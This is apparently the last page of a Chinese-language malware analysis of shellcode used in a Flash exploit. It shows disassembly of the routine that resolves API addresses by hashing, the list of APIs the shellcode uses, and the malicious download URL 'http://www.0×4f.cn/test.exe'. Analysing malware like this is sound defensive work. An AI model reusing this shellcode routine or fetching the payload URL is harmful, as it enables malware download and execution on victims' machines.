flash漏洞所用shellcode的分析

代码内容最后是遍历PE文件输出表得到API函数地址的子函数，同样是通用的模块，也懒于第N次注释了：

00407242    51              push ecx
00407243    56              push esi
00407244    8B75 3C         mov esi, dword ptr [ebp+3C]
00407247    8B742E 78       mov esi, dword ptr [esi+ebp+78]
0040724B    03F5            add esi, ebp
0040724D    56              push esi
0040724E    8B76 20         mov esi, dword ptr [esi+20]
00407251    03F5            add esi, ebp
00407253    33C9            xor ecx, ecx
00407255    49              dec ecx
00407256    41              inc ecx
00407257    AD              lods dword ptr [esi]
00407258    03C5            add eax, ebp
0040725A    33DB            xor ebx, ebx
0040725C    0FBE10          movsx edx, byte ptr [eax]
0040725F    3AD6            cmp dl, dh
00407261    74 08           je short 0040726B
00407263    C1CB 07         ror ebx, 7
00407266    03DA            add ebx, edx
00407268    40              inc eax
00407269  ^ EB F1           jmp short 0040725C
0040726B    3B1F            cmp ebx, dword ptr [edi]
0040726D  ^ 75 E7           jnz short 00407256
0040726F    5E              pop esi
00407270    8B5E 24         mov ebx, dword ptr [esi+24]
00407273    03DD            add ebx, ebp
00407275    66:8B0C4B       mov cx, word ptr [ebx+ecx*2]
00407279    8B5E 1C         mov ebx, dword ptr [esi+1C]
0040727C    03DD            add ebx, ebp
0040727E    8B048B          mov eax, dword ptr [ebx+ecx*4]
00407281    03C5            add eax, ebp
00407283    AB              stos dword ptr es:[edi]
00407284    5E              pop esi
00407285    59              pop ecx
00407286    C3              retn
00407287    E8 96FDFFFF     call 00407022                                         ; (7)call回来，这里要F7

代码内容在这里结束，后面是数据区，包括保存的API函数的地址（shellcode开始时为加密值，找到API地址后被替换为地址）以及下载的病毒URL，shellcode中屡屡用[esi+XX]的方式来访问这部分内容，依照相对偏移依次为：

0×00 LoadLibraryA
0×04 GetTempPathA
0×08 DeleteFileA
0×0C CreateProcessInternalA
0×10 ExitThread,
0×14 VirtualProtect
0×18 CreateProcessInternalW
0×1C CompareFileTime
0×20 GetSystemTimeAsFileTime
0×24 ZwCreateProcessEx
0×28 ZwWriteVirtualMemory
0×2C URLDownloadToFileA
0×30 搜索到的一句可用为retn的代码地址
0×34 ASCII “http://www.0×4f.cn/test.exe”

至此，该shellcode分析完毕。应该说它是我见到的在实际应用中功能较为齐全的shellcode了，作者的一些构思都是有明显实用目的的倾向的，也看出作者对编写shellcode有一定的经验和能力。

本篇分析只涉及shellcode所作的动作，对于此漏洞如何被触发并使得shellcode被执行，因能力所限尚未能探究出来。

本人能力有限，这方面只是个菜鸟，以上分析难免有错漏之处，还请大家不吝指正。

分析对象：win 9,0,115,0ie.rar

上一页  [1] [2] [3] [4] [5] [6] [7]